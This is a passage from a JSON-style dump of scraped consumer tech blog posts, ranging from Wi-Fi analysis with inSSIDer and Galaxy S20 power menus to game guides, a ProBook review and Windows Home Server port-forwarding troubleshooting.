connected data. - Retry: Percentage retry. Last Seen: Show the last seen client. Alternatively, you can also select a client to view summary information about that device.\n* Tab Channels\n  The Channels tab focuses on the health of each Wi-Fi channel. The Channel panel displays:\n- WiFi Utilization: How often the Wi-Fi operation is happening on the channel or how often the channel is \"in use\". Only one wireless device can use one channel at a time, so you'll want the channel usage as low as possible.\n- On-Channel Networks: Number of wireless networks on the same channel. As little as possible.\n- Max Signal: Maximum signal strength of the network on the channel.\n802.11b Present: Legacy data rates (1, 2, 5.5, 11 mbps) are deployed on networks that use this channel, which can slow down Wi-Fi traffic for all networks on this channel.\n2. Filter - Filters   Next to the 3 main tabs of the software, you will see the filter bar. It will filter network and client by SSID, MAC address and AP Alias ​​(or vendor / name).\n3. Timeframe - Timeframe   Under View\u0026gt; Timeframe, you can choose how long you want to see network and spectrum data. For example, if you select 5 minutes, you will see the last 5 minutes of network and spectrum data. This means that even if a network has been deleted within the last 5 minutes, it will still be displayed in inSSIDer.\n4. Some terms and symbols you need to know in inSSIDer 802.11: The letters shown in this column inform you about the 802.11 protocols being used by that Access Point.\n- Access Point: This is the hardware that the WiFi device connects to. Sometimes they will act as a router and are often referred to as wireless routers.\nChannel: Each wireless network operates on a specific Wi-Fi channel. Channels 1-14 lie in the 2.4 GHz band, while channels 36-165 lie in the 5 GHz band. For best performance in the 2.4 GHz band, channels 1, 6, and 11 are recommended.\n- Co-Channel Network: Each access point on the same channel cooperates and negotiates for transmission. This can slow down the performance of any connected device.\n- MAC Address: This is a unique identifier for the wireless network or BSSID.\nSecurity: inSSIDer displays networks using the following standard security settings: Open (No Security), WEP, WPA-Personal, WPA-Enterprise, WPA2-Personal, and WPA2-Enterprise. Inside:\n+ Unlock icon: Indicates unsecured network. No data on the network is encrypted.\nBroken key icon: WEP is an insecure encryption method. This encryption method can be broken in minutes.\n- Closed key icon: WPA or WPA2 wireless security encryption. These are the best security options available today. You should use WPA with WPS disabled, this is the safest way.\n- Signal: The wireless network amplitude seen by the computer's wireless adapter, also known as the RSSI or \"Received Signal Strength Indicator\". inSSIDer provides a line graph of signal strength over time.\n- Link icon: Indicates the access point you are currently connected to. This icon also appears in ESS, so you can see which specific access points you are connected to on your network.\nAbove is the information you need to know about inSSIDer software. This tool is designed to explore issues affecting Wi-Fi performance, taking the exploration of Wi-Fi networks to new heights. When anyone takes a quick look at inSSIDer's interface, the channel is not good, the signal strength is low and a bunch of other information is almost immediately visible. Thanks to that, you can quickly come up with reasonable solutions.\nWifi password protection is a very important job for businesses, companies, individuals today, when the password is revealed, it is very easy to break into the computer system that is connected to your wifi. From there, the documents can be leaked to the outside . Please create a habit of changing your wifi password more often to avoid risks happening. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecXarApnnIp6qsoZSav267zWaYZpufor22wMSr\n","link":"/post/how-to-install-and-use-inssider-on-a-computer/","section":"post","tags":null,"title":"How to install and use inSSIDer on a computer"},{"body":"The Samsung Galaxy S20 product line has officially launched in the world and there have been many changes, including how to turn off the power and restart the device. For most Android devices and earlier Samsung models, the way to turn off the power is to press the physical power button, then select the power off mode in the display interface. With the Galaxy S20 series, there are different ways to turn off the power. The following article will guide you how to turn off and reboot on Samsung Galaxy S20.\nInstructions to turn off the power, restart Galaxy S20 Method 1: Open the Power menu via physical buttons To access the Power menu on the device, the easiest way is to press the volume down and side keys at the same time for a few seconds as shown below.\n  Right then display the Power menu so we press Power Off to turn off the power completely or press Restart to restart the computer.\n  Method 2: Change the edge button function The right side button of Samsung Galaxy S20 is not the power button, so when we hold down a few seconds, we will call its virtual assistant Bixby rather than open the Power menu. However, Samsung supports you to change the edge button function according to other options that the system supports. We go to Settings\u0026gt; Advanced Feature\u0026gt; Side Key . Then in the user menu press Power Off Menu to switch the task to perform.\nSo when the user presses the edge button will display the Power menu to choose to turn off the power or restart.\n  Method 3: Open Power meu via Quick Panel On Samsung also provides a shortcut to quickly access the Power menu from the quick notification panel (Quick Panel). You swipe from the screen down and then select the power button icon in the upper right corner as shown.\n  Method 4: Use Bixby Samsung to power off, restart Virtual assistant Bixby will assist you to turn off or restart the device. In the field you have not changed the action of the edge button operation, hold down the edge button until the Bixby icon is displayed. If you've changed the action, swipe down from the top edge to open the notification interface and select Bixby from here.\nWhen displaying the virtual assistant's logo, say Turn Off My Phone or Restart My Handset.\n  Now the virtual assistant will ask if you are sure you want to perform the action, press the Power Off command directly or click the Bixby button to perform the command.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZK2glWK9sMPEq2SrnaOprrPAjKyYpqulo7Rus8ClmLGxXah%2FcQ%3D%3D\n","link":"/post/how-to-turn-off-the-power-restart-samsung-galaxy-s20/","section":"post","tags":null,"title":"How to turn off the power, restart Samsung Galaxy S20"},{"body":"This wikiHow teaches you how to enable AirPlay on your iPhone, Mac, or Apple TV. AirPlay is a mirroring service that allows you to broadcast your Apple item's screen to an Apple TV; it also allows you to play audio through...\n Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mmKKqoKGuug%3D%3D\n","link":"/post/how-to-turn-on-airplay/","section":"post","tags":null,"title":"How to Turn On AirPlay"},{"body":"Not only equipped with strong configuration, Probook 450 G1 also has quite good battery life, SSHD hybrid hard drive has faster access speed and storage capacity no less than traditional HDD.\nDesign, design   Probook 450 G1 is changed with flexible curves and more harmonious than the old version and still retains its charm with exquisite design, showing ingenuity and care to every detail.\nAiming at users who need high performance and reliability, the mobility of Probook 450 G1 is not as versatile as that of ultrabook, its weight is 2.37 kg, equivalent to products of the same screen size. The structure of the alloy frame is firm, the plastic cover is soft and the outside has a better protective and shockproof rubber pad. The plus point in product design is the high quality 2.0 speaker set for mobile entertainment needs .\nThe web of communication Since there is no limit on the thinness, the test product not only equips an internal optical drive, but also fully supports the common communication and connection port. In addition, Probook 450 G1 also supports wireless connections such as WiFi 802.11b / g / n + Bluetooth 4.0 and connecting Gigabit Ethernet network via RJ-45 port.\nScreen HP Probook 450 G1 equipped with 15.6-inch screen, WXGA resolution ( 1,366 x 768 pixels ), LED backlight technology with moderate brightness, no eye strain when working with text documents in long time. Actual testing shows that the image quality is quite good, the screen horizontal viewing angle is quite wide while the vertical viewing angle is considerably narrower. In an office environment, the image is bright and crisp but when used outdoors or where there is strong light, image quality deteriorates due to screen scattering technology ( anti-glare ) and average brightness.\n  Performance The test results below show the overall performance of HP's new laptop model quite well. The power of the mid-range discrete graphics Radeon HD 8750M helps Probook 450 G1 not only meet office work but also can be suitable for architectural, 3D graphics or entertainment gaming applications.\nData retrieval speed Equipping a hybrid hard drive ( SSHD ) helps the system have faster data access speed while ensuring the same storage capacity as the traditional hard drive ( HDD ). Specifically, many tests with PCMark 05 showed that the operating system boot speed reached 54.5 MB / second, an increase of 16.2%. Application launch speed reached 47.8 MB / sec, increased 9.7% and virus scanning speed reached 234.3 MB / sec, up 61.9% compared to the original. Similar to PCMark 8, hard drive access speed reaches 20 MB / sec, equivalent to 3,044 points.\nBattery life About battery life recorded through Productivity tests of MobileMark 2007 , High Performance mode configuration and maximum screen brightness ( 100% ), Probook 450 G1 reached 5 hours 31 minutes.\nIn PCMark 8 Home test also with High Performance mode configuration and screen brightness reduced to 40% ( equivalent to battery mode ), the continuous usage time of the machine also reached 3 hours 31 minutes only With one charge of the battery.\nHP Probook 450 G1 Main parameters Size: 37.5 x 25.6 x 2.28cm Weight: 2.37kg Processor: Core i5-4200M (2.5GHz, 3MB smart cache) Graphics: AMD Radeon HD 8750M, 2GB GDDR3 RAM: 4GB DDR3L, 1600MHz SSHD: Seagate ST500LM00 500GB + 8GB MLC SSD, SATA 6Gb / sec. Screen: 15.6 inch, WXGA (1366x768 pixels), LED backlight, anti glare Webcam: 1MP, HD 720p Communication port: VGA, HDMI 1.4a, 2xUSB 3.0, 2xUSB 2.0, card reader \"5 in 1\", headphone, microphone. Connection: WiFi 802.11b / g / n + Bluetooth 4.0, LAN Gigabit Genuine warranty: 2 years Price: about VND 15 million overview With sophisticated design, strong structure and strong configuration of Haswell platform, discrete graphics card with hybrid hard drive with high speed access and large storage capacity, HP's new Probook laptop is absolutely possible affirms its strength compared to the corresponding lines. ncG1vNJzZmismaXArq3KnmWcp51ktbF5z6umm6efoHp1gY9mnmplkpqutsDIn6ylpKlisaa%2FyKClnpxdpby4sdGfrKVlk6S7p7XGrqmarJmkuw%3D%3D\n","link":"/post/hp-probook-450-g1-beautifully-designed-powerful-configuration/","section":"post","tags":null,"title":"HP Probook 450 G1 beautifully designed, powerful configuration"},{"body":"In this article, let's learn how to change PUBG for PC on Steam and start experiencing the most exciting survival game today completely free.\nHow to redeem and play PUBG PC for free on Steam First, people need to download Steam for Windows or Mac computers by clicking the download button. Install and launch Steam like normal applications.\nThen log into Steam (if you already have an account) or create a new Steam account, which is free and requires only an email.\n  Navigate to the Store tab on the Steam app and search for PUBG or hit the download button PUBG: BATTLEGROUNDS below.\nPress the green Play Game button to download and play PUBG PC. Players will need at least a mid-range PC to run the game, as PUBG PC's system requirements require a minimum of 8GB of RAM and 2GB of VRAM.\n  In the end, everyone just needs to follow the instructions to install the game, wait for the game to be downloaded and experience PUBG on PC for free.\n  System requirements for PUBG PC Minimum system requirements Requires 64-bit processor and operating system Operating System: Windows 7 64-bit, Windows 8.1, Windows 10 Processor: Intel Core i5-4430 / AMD FX-6300 Memory: 8 GB RAM Graphics: NVIDIA GeForce GTX 960 2GB / AMD Radeon R7 370 2GB DirectX: Version 11 Storage: 40 GB of available space Recommended system requirements Requires 64-bit processor and operating system Operating System: Windows 7 64-bit, Windows 8.1, Windows 10 Processor: Intel Core i5-6600K / AMD Ryzen 5 1600 Memory: 16 GB RAM Graphics: NVIDIA GeForce GTX 1060 3GB / AMD Radeon RX 580 4GB DirectX: Version 11 Storage: 50 GB of available space The reason why PUBG PC becomes a free game PUBG is still a hugely popular survival game, with around 20,000 players playing on average every day. However, this is a far cry from the previous records achieved by the game a few years ago. A lot of people have switched to newer fighting games instead of continuing to stick with PUBG.\nBy becoming a free-to-play game, PUBG PC can hopefully be revived with additional players, which is actually more profitable in the long run.\nIntroducing the Battleground Plus pack  The Captain's Camo outfit is given to players who purchase the Battleground Plus pack\nObviously, PUBG will use the same system as Counter Strike-Global Offensive: The free game but to play the Ranked mode, players need to pay for a package called Battleground Plus. This is a one-time payment of $13 and includes the following:\nBonus 1300 G-COIN. Survival Mastery XP + 100%. Career Tab – Medal. Ranked Mode. Custom Match function (custom match). In-game items, including the Captain's Camo set, which includes a helmet, mask, and camo gloves. Players who purchased PUBG before PUBG became free will receive a special Anniversary Pack, which includes Battleground Plus. and many additional items.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKmkka56scHBoGSfp6JivaR5xaipZp6imrJuu81mqq2dkaI%3D\n","link":"/post/instructions-to-play-pubg-for-pc-for-free-on-steam/","section":"post","tags":null,"title":"Instructions to play PUBG for PC for free on Steam"},{"body":"VPN hacking can be seen as a new threat, quietly taking place of the Internet world, with unpredictable consequences.\n  The most recent VPN hack is the one involving an enterprise VPN app developed by Pulse Secure. About 100 companies, 9 major federal agencies in the US were affected by this attack. Hackers have taken advantage of this application's vulnerabilities to infiltrate the computers of many companies and government officials around the globe.\nWe know that, a VPN is a virtual private network system, when participating in the public network can connect securely. Private VPNs are used by many corporations, companies, government agencies, and educational institutions to connect users. To access the organization's system, each user will have an authenticated account.\nIf hackers have these credentials, they can steal accounts without the need for phishing emails or custom malware, says Sarah Jones, senior principal analyst at FireEye.\nStephen Eckels, an engineer at FireEye, said that businesses need to rapidly improve their security processes and adopt new hardware technologies to avoid the risk of attack.\nCurrently, the trend of remote work is increasing, and due to the complexity of Internet security protocols, businesses are in high demand to use VPNs to simplify logging into corporate networks. This opens up many opportunities for hackers because there will be more vulnerabilities and the more VPN users are, the more difficult it is to detect the bad guy.\nVijay Sarvepalli, senior security expert at CERT, said that VPNs are convenient for large organizations but VPN developers have not thoroughly studied the risks to prevent and handle when their customers suffer attack.\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjKKlrZ2io7K1edOhqZ6ZpKh6or7EZqiuoZWpubp505qioqaXYr2trcKe\n","link":"/post/new-internet-threats-are-quietly-taking-place/","section":"post","tags":null,"title":"New Internet threats are quietly taking place"},{"body":"Watching your phone number in use helps users know exactly the number of subscribers they are using in case of forgetting numbers or just bought a sim .\nSome iPad acceleration tips run smoother Can download and upgrade iOS 11 on iPhone / iPad Instructions on how to block spam phone numbers on iPhone This way helps users to be more active in transferring money to other accounts, declaring personal information and easier to manage their subscription information. Here TipsMake.com will guide you how to check phone numbers Viettel, Mobi, Vina, Vietnammobile are using, on both Android and iPhone.\nHow to check your phone number in use 1. Ask people around you 2. See the phone number Viettel is using 3. How to check the phone number Mobifone is using 4. See the phone number Vinaphone is using 5. Check the Vietnammobile phone number you are using 1. Ask people around you The easiest way to see the phone number you are using is to ask someone to receive your incoming call, then ask them to reread the phone number you called.\nNote: This case only applies when your phone has money remaining.\n2. See the phone number Viettel is using Each network will have a separate syntax to check the phone number you are using. There are 3 ways for you to check the phone number used on mobile phones for Viettel network operator as follows:\nMethod 1 : Call Viettel's switchboard at 198 or 19008198 (charge 200 VND / minute). Then the operator will help you get the phone number you are using.\nNote: This case only applies when your subscription has funds in the main account.\n  Method 2: Use the message syntax to check the phone number in use.\nTo check the Viettel phone quiz you are using please compose the syntax: TTTB to 1414 (free) or you can use the syntax: TRA CUOC sent 195 .\nAfter performing the message syntax, you will receive a notification with the content including: Phone number in use, full name of subscriber name, date of birth registered, ID card number / Passport as well as the place of issue . If this information does not match your actual information, please update Viettel subscription information to avoid SIM blocking or other unnecessary inconveniences.\n3. How to check the phone number Mobifone is using Method 1: Open the phone application (Phone) and enter * 0 # or * # 0 # or * 1 # or * 3 # and Press the call key. After this test, you will receive the phone number you are using right on the phone screen.\nMethod 2 : To check the phone number Mobifone you are using by pressing * 0 with the call key or * 1 then press the call key.\n  4. See the phone number Vinaphone is using Method 1: Open the phone application (Phone) and enter * 110 # and press the call key. Then on your screen will display the following information:\nSubscription number: VD 1275088xxx Package: Vinacard, . Operation date: * date from SIM activation date Note: This method only applies to certain subscribers.\n  Method 2: Perform the number 900 operation and press the call button, then select the 4 key immediately IVR system will automatically read the Vinaphone phone number you are using.\nNote: This method only applies to prepaid Vinaphone subscribers.\n5. Check the Vietnammobile phone number you are using Open the phone application (Phone) and enter the syntax * 123 # and press the Call key to view your phone number.\n  Then the system will send you a message with detailed information about the SIM and the phone number you are using.\nWish you check the phone number that is being used successfully!\nSee more:\nInstructions for updating information and supplementing photos for VinaPhone and Mobifone subscribers ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ6YrKGVqMFuw8CyZK2nXau2psOMprBmqJiku6Z5za6km52i\n","link":"/post/the-easiest-way-to-view-my-phone-number/","section":"post","tags":null,"title":"The easiest way to view my phone number"},{"body":"\u0026nbsp;This story is part of To the Moon, a series exploring humanity's first journey to the lunar surface and our future living and working on the moon.\nApollo 13, the NASA mission that failed spectacularly to reach the moon but succeeded in saving the lives of three astronauts, launched exactly 50 years ago. And now NASA's Apollo 13 in Real Time website lets you relieve the harrowing events at the same pace they occurred then.\nThe replay of the launch began at 12:13 p.m. PT, synchronized with the original event on April 11, 1970. You can also easily start the event anytime, selecting a specific moment in the mission or having the re-creation begin at what was then 1 minute before the actual launch.\nThe specific-moment option lets you skip to the famous drama, too -- the real version, not the Hollywood take in the 1995 movie Apollo 13 starring Tom Hanks as Jim Lovell, the mission's commander.\u0026nbsp;\nIf you're watching in real time, the way people did in 1970, you'll have to wait 56 hours after launch for the disaster, an oxygen tank explosion that ended the mission's plan to reach the moon and threatened the lives of the astronauts. If you're less patient, you can find it easily by checking the \"mission milestones\" list of events.\nThe Apollo 13 in Real Time site offers a video stream of the mission accompanied by live audio chatter from Mission Control, astronauts Lovell, Jack Swigert and Fred Haise, and others involved in NASA's third attempt to send people to the moon. Along with the video and audio from the launch site, spacecraft, mission control and press conferences, the site also includes transcripts and photos.\nApollo 13 took place less than a year after the Apollo 11 mission succeeded in landing humans on the moon for the first time.\n  The NASA site offers the real account of the Apollo 13 effort, but you'll recognize scenes from the movie, too.\nIf you set the website's ground elapsed time clock to 55:44:15, you can hear Lovell giving a TV tour of the spacecraft: \"This little tape recorder has been a big benefit to us in passing some of our time away on our transit to the moon. It's rather odd to see it floating like this in Odyssey while it's playing the theme from 2001. And of course the tapes wouldn't be complete without Aquarius.\"\nEleven minutes later, the explosion occurs. At 55:55:35, Lovell famously tells NASA controllers, \"Houston, we've had a problem.\"\nncG1vNJzZmismaXArq3KnmWcp51kxKLAwqFkraCVYruiv8BmmKmnnKG8bn2SZqSiq6OevK95lGlksp2Rp8BuuMCtnKs%3D\n","link":"/post/watch-the-nasa-apollo-13-mission-50-years-later/","section":"post","tags":null,"title":"Watch the NASA Apollo 13 mission 50 years later"},{"body":"Blockbuster Black Desert Mobile has officially launched the international version. Currently, the MMORPG mobile game with the best graphics on mobile is available in both Google Play and App Store.\nEsports titles are so famous that they become the 'National Game' of a nation in the world Blockbuster Mario Kart Tour game is available for Android and iOS for free, please experience However, developer Pearl Abyss currently only limits 2 million users in 7 countries (Australia, Chile, Canada, Ireland, Malaysia, Sweden and Turkey) to register to download the game Black Desert Mobile and spread it out. experience.\n  Other users will have to wait until December 12 to download the international version of Black Desert Mobile.\nBlack Desert Mobile is the mobile version of the MMORPG game Black Desert Online has the most beautiful graphics in the world of online games, depth storyline and MMORPG gameplay. On the mobile version, the game's graphics remain the same, as with the PC. Therefore, when it was released separately in Korea in November 2017, Black Desert Mobile has attracted a large number of players, continuously ranked in the blockbuster game.\nBlack Desert Mobile has 5 main character classes for players to choose from: Warrior, Ranger, Giant, Witch and Valkyrie. After choosing their main character, players can edit to look better, better quality and personality. Basically, the features and combat mechanism in the PC version have been kept on the mobile version by the developer such as boss battles, camp management, skill development, PvP mode.\n  Gamers who have played the PC version will not be disappointed when playing Black Desert Online right on their smartphone.\nNote: Although Vietnam is not on the list of tested countries, gamers can still experience the Black Desert Mobile version by downloading the APK installation file to the device below or Fack iP.\nBlack Desert Mobile English Version (APK)\nhttps://apkmody.io/games/black-desert-mobile.html  Black Desert Mobile on Google Play Black Desert Mobile on the App Store ncG1vNJzZmismaXArq3KnmWcp51kr627wqSZrqukmr9ursuamqRllJrApr7TZqSompmhsm60wKxko62jqXqtrdSnmqGdlGLBqbGMoqWtnaKjrrW1zqeYpWWmmr%2B0tc6nZJyZnmKurb7EmpuyZaSnxm6102amrqw%3D\n","link":"/post/blockbuster-black-desert-mobile-has-just-launched-the-international-version-can-already-try-it-out/","section":"post","tags":null,"title":"Blockbuster Black Desert Mobile has just launched the international version, can already try it out"},{"body":"Google Chrome is one of the most popular and most popular browsers available today. However, recently, quite a lot of users reflect that in the process of using Chrome browser to browse the web on Windows 10/8/7 computer, sometimes the browser hangs, but can not open the tab , load the page.\nIn the article below, Network Administrator will guide you to some solutions to fix this error.\n  Chrome browser on Windows computer hangs, freezes If the Chrome browser on a Windows computer hangs, freezes, follow the steps below:\n1. First delete all Local State files stored in Custom Settings. To delete a Local State file, follow the steps below:\nFirst close the Chrome browser window. Open Windows Explorer. In the address bar, enter% USERPROFILE% AppDataLocalGoogleChromeUser Dataand press Enter. The window now appears, where you find the file named Local State and delete the file. Open Chrome browser and check if the error still occurs.   If the error persists, follow the steps below:\n2. Rename Default folder, this folder contains all browser extensions, bookmarks, browsing history, Jumplist icon.\nSometimes in the case of renaming the Default folder can fix the error.\n  Close Chrome browser window. Open Windows Explorer. Enter the % USERPROFILE% AppDataLocalGoogleChromeUser Data address bar. Now a new window appears on the screen, where you find the Default folder and rename the folder to 'Default.old'. Finally open the Chrome browser and check if the error is still there. 3. In addition, the Flash extension may cause the browser to crash or freeze. So to fix the error, follow the steps below:\nOpen Chrome browser. Enter the address bar: \" about: plugins \". On the next window, find Flash and click Disable. Restart Chrome browser and check if the error is still there.   4. Reinstall Chrome browser\nOpen the Control Panel window, then find and click Programs and Features , where you find and uninstall Google Chrome. Next open File Explorer (Windows Exlorer), then enter % USERPROFILE% AppDataLocal in the address bar. Delete the Google directory. Download and reinstall Google Chrome again. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksKm%2BzqacZpqipMS0sdFmpqdlp567pbvWrGScp52lwrWx0Waaq5mjnbK0edOhoKxlmah6uLTArWSyp6Viu6axw2arqGWUpA%3D%3D\n","link":"/post/chrome-browser-on-windows-computer-crashes-this-is-what-you-need-to-do/","section":"post","tags":null,"title":"Chrome browser on Windows computer crashes, this is what you need to do"},{"body":"The sequel to Tsuki's Adventure, Tsuki's Odyssey, takes players back to Mushroom Village, where the cute little bunny plans to meet his friends. In this passive adventure game, the player can decorate Tsuki's tree house with furniture and items, travel to various locations, interact with many new characters, grow carrots and even even fishing.\nOne of the most loved features and activities is fishing. In this article, learn how to fish in Tsuki's Odyssey to get the most out of this fun activity.\nFishing Guide in Tsuki's Odyssey In Tsuki's Odyssey, players can buy fishing rods from Yori's shop. Locate this store from the map by tapping the smartphone at the bottom of the screen. Next, tap the marker/pin icon to access the map. Find Yori's shop to the left of her tree house.\n  Once inside Yori's shop, people can buy furniture and other items. During the day, Yori sells furniture, but if shopping at night, Elfie will be at the counter. Gamers can purchase furniture and decorations from both Yori and Elfie. Furniture and decor items are displayed on the first floor. Just touch an item to buy it.\nIn the same store, Pipi or Paige (at night Paige takes over in place of Pipi) will sell items and games upstairs. Players can buy fishing rods from Pipi or Paige upstairs. It was placed on the display case in front of Pipi.\n  After that, people can also buy fishing rods from Yori's shop but will have to peel more carrots to buy. The more advanced fishing rod than the basic one costs 7500 carrots to buy it.\n  When touching the fishing rod, an enlarged item with description will be displayed. Tap the shopping bag icon with a blue background in the lower right corner of the magnified item to buy a fishing rod for 1000 carrots.\nAfter buying a fishing rod, head straight to the pier near Stone Temple - the first fishing spot in Tsuki's Odyssey. People will find additional points as more locations are unlocked.\n  At this time Tsuki will chill while fishing. People need to press the blue button on the river, next to the jetty to start fishing.\n  The player will hear a sound signaling the fish to bite and Tsuki pulls the fishing rod. Click anywhere to wind the fishing line when the sound is heard.\n  All fish will be stored in stock, just tap the red bag in the lower left corner of the screen, then select a fish to know its selling price.\nSome fish will sell more carrots than others. For example, Rock Beauty can be sold for 120 carrots while Anchovy only costs 20 carrots.\n  Tsuki's Odyssey ncG1vNJzZmismaXArq3KnmWcp51ks6q%2Fx6KloGWXqralsYyipWaso6q4qr%2BMqJuyq6Oaxg%3D%3D\n","link":"/post/fishing-guide-in-tsuki-s-odyssey/","section":"post","tags":null,"title":"Fishing Guide in Tsuki's Odyssey"},{"body":"Everything doesn't always follow the plan when using any network hardware or software, Windows Home Server is no exception. If you have problems while installing or using WHS or Windows Home Server Connector and Console, please consult the following tips. \n Working with Windows Home Server Connector and Console If all goes well, installing Windows Home Server Connector (with Console) is very simple - just insert the CD and then follow the required steps, so you're ready for it. Setting. If things don't go smoothly, even if you've tried your best to find the error - it could be a problem with your computer, due to the version of Windows, the network, the software, or the router error. If there is a network error, there are many possibilities. If you see a message like the one below, you need help.\n  If you see this message when installing Windows Home Server Connector This is due to NetBIOS error over TCP / IP\nIf it detects that Windows Home Server Connector will not install, the problem is simply because NetBIOS connecting via TCP / IP is not enabled on the network or on the computer. WHS uses NetBIOS via TCP / IP to identify devices on the network and to transmit information in the network. If NetBIOS via TCP / IP is no longer active, you are unfortunate.\nIn Windows there are 3 ways to set up NetBIOS via TCP / IP, whether it is on, off or settings from the router. By default, WindowXP and Window Vista are set to use NetBIOS from your router. If you get an error while installing and running WHS, check NetBIOS through TCP / IP settings, make sure they are not turned off. Here are some differences between Windows Vista and Windows XP. For Windows Vista : 1. Select Control Panel -\u0026gt; Network and Internet -\u0026gt; Network and Sharing Center -\u0026gt; Manage Network Connections . A connection information message will appear. 2. Right-click and select Properties . The Local Area Connection Properties dialog box appears, as shown below. 3. Select Internet Protocol Version 4 (TCP / IP) and select Properties , then click the Advance button.\n  Select Internet Protocol Version 4 (TCP / IP) and you can find it NetBIOS settings via TCP / IP\n4. Select the WINS card. A dialog box will appear as shown below. At the bottom of the dialog box, you will see the NetBIOS settings. Make sure to select Default . Click Ok and continue until the dialog boxes are displayed. You may have to restart the computer to update the new settings.\n  You will end at this step.This is NetBIOS setup via TCP / IP\nFor Windows XP , right-click My Network Places , then right-click your network connection icon and select Properties . Then select Internet Protocol (TCP / IP) , select Properties , click the Advance button and follow step 4 above. If you perform the above steps and still cannot fix the error, the problem may be caused by your router. If the router does not support NetBIOS via TCP / IP or is inappropriate support, an error has occurred. Unfortunately, we do not have a list of routers that can support NetBIOS so there is no specific way to verify that the routers support it. The best way is to update the router's firmware (firmware). Please check the manufacturer information for instructions on how to update. I have a Linksys WRT54GX4 and I couldn't install the Windows Home Server Console at first. However, every time the firmware upgrade is done, it gets messy. If the router update is still not working, go back to the NetBIOS settings screen, select Enable NetBIOS over TCP / IP and press Ok until the dialog boxes appear do not appear. . You may have to restart the computer to update the new settings. Working with remote access methods One of the most distinctive features of WHS is remote access. Wherever you go through Internet access you can also remotely connect to WHS to access files and folders. You can even remotely control any computer on the network and access it. However, there are a few issues that may disable your connection. In the rest of this article, I will show you how to fix those errors. Note that I will not give step-by-step instructions on how to create a connection because it is not in the scope of this article. Find WHS for more information. Instead I will only show ways to correct the mistakes you have made. If you have problems creating the connection, you may have to change the settings of the router so that it is compatible with WHS. Therefore you will have to check the router's details. In this article, I will show you how to do this using the Linksys WRT54GX4. The instructions will be the same or the same as other Linksys routers. In other words, the content will be the same but the display on the screen will be different. Before you start, you should learn a bit about routers, servers and IP addresses. The router is assigned a dynamic IP address by the provider, such as 66.32.43.98 . This is an external IP address, which is the IP address used on the Internet and it can be changed at any time. The router uses network address conversion to share external IP addresses between computers on the network. But each computer also has a private IP address, such as 192.168.1.100, 192.168.1.101. The router has a Dynamic Host Configuration Protocol server that is pre-installed to assign an internal IP address on each computer. These internal IP addresses allow computers to communicate with other computers and access the Internet. The above definitions are only minor, now let's learn about some common errors. Error due to remote connection installation After allowing a private user account to have remote access, you will have to tell WHS to allow the connection. This is where you may have encountered an error. Please activate Windows Home Server Console, connect to WHS and select Settings -\u0026gt; Remote Access . Will appear on the following dialog screen:\n  Allow remote access\nIf the Web Site Connectivity button is not enabled, press Turn On . Then in the Router section, press the Setup button. A message will appear telling you to configure the forwarding port of the router. With this forwarding port, when there is a remote access, the router will respond to those requests to the WHS machine. If there is no port forwarding, it will not be able to access the remote server. In the position where the error is detected. WHS can automatically configure the router if routers use Universal Plug and Play (UPnP). If you see an error message stating that your router does not support UpnP, first check to see if the router actually supports it, there are many routers that support UpnP but are not enabled. by default. Please check the details of your router details. For the Linksys WRT54GX4, you log in to the router by going to the 192.1681.1 address on your browser, leaving the username and password fields blank, enter admin (if you have changed your password, fill it out) your password). Then press Administration on the screen that will appear as follows, go to UPnP and select Enable, then select Save Settings . Next, go back to the Router section at WHS and press the Setup button. Now the computer can be configured automatically.\n  Enable UpnP for a Linksys WRT54GX4\nPerform manual forwarding Even if you have UpnP enabled, WHS may not configure port forwarding. If so, you will have to manually switch between the locator and configure the port forwarding. When you do this, all information arriving at the individual ports will be transferred to WHS. In more detail, when creating a remote connection to WHS, you will connect through those three ports: ports 80, 443 and 4125. They will notify the router to follow the information from those ports to WHS. First you need to find the WHS IP address. On each Windows XP computer in the network, perform a command by selecting Start -\u0026gt; Run , Type CMD into the box and press Ok . If you use Windows Vista, type CMD in the Start Search bar. After opening the command window, type net view and press Enter . After executing the command, you will see the following lines:\nC: UsersPreston\u0026gt; net view \n Server Name Remark \n -------------------------------------------------- ----------------------------- \n PRESTONSERVER \n VISTA-DESKTOP \n VISTA-LAPTOP \n The command completed successfully.\nFind the name of WHS, which may be the name you set when setting up WHS or the default setting name. We call it PRESTONSERVER. Next at the command line please execute the ping command by the server's name, as follows:\nping PRESTONSERVER\nWe get the following result:\nC: UsersPreston\u0026gt; ping PRESTONSERVER \n Pinging PRESTONSERVER [192.168.1.103] with 32 bytes of data: \n Reply from 192.168.1.103: bytes = 32 timeReply from 192.168.1.103: bytes = 32 timeReply from 192.168.1.103: bytes = 32 timeReply from 192.168.1.103: bytes = 32 time \n Ping statistics cho 192.168.1.103: \n Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), \n Approximate round trip times in milli-seconds: \n Minimum = 0ms, Maximum = 0ms, Average = 0ms\nPlease pay attention to the IP number after the router name. This is the IP address of the network. Write down the paper, you will need this address to configure port forwarding. In the above example we have the IP address of 192.168.1.103.\nThe next step, you need to inform the router to follow all connections from port 80, 443 and 4125 to IP address 192.168.1.103. For the Linksys WRT54GX4, to access the admin screen select Applications \u0026amp; Gaming -\u0026gt; Port Range Forwarding . Please fill in the table as shown in the picture. At the application name, enter a name such as Home Server , you don't have to worry about the name you give. In the first line, in both Start and End, enter 80 and select BOTH from the drop-down list. In the IP address field, enter 103 . Please select the Enable checkbox . Do the same for the other two lines for port 443 and port 4125. Click Save Settings . You have completed the steps! Port forwarding has started.\n  Configure Linksys router to transfer information to WHS\nOnce you have completed the steps above, go back to the Windows Home Server Console, open the Remote Access Settings and complete the remote access configuration by clicking Setup next to the Domain Name section. Now follow the instructions for remote access to WHS and control any computer on your network. The figure below is a computer that has been controlled via a remote WHS connection.\n  Control a remote computer using WHS\nFinal note If the internal IP address of WHS changes for any reason, you will have to reconfigure the port forwarding and use the new IP address. Why does the IP address change? Maybe because you restart the router, the IP address will change. To fix this error you will have to assign WHS a static IP address. For more details on how to assign a static IP address to a computer, see this article. Preston Gralla is an editor for Computerworld.com and author of over 35 books, including How the Internet Works 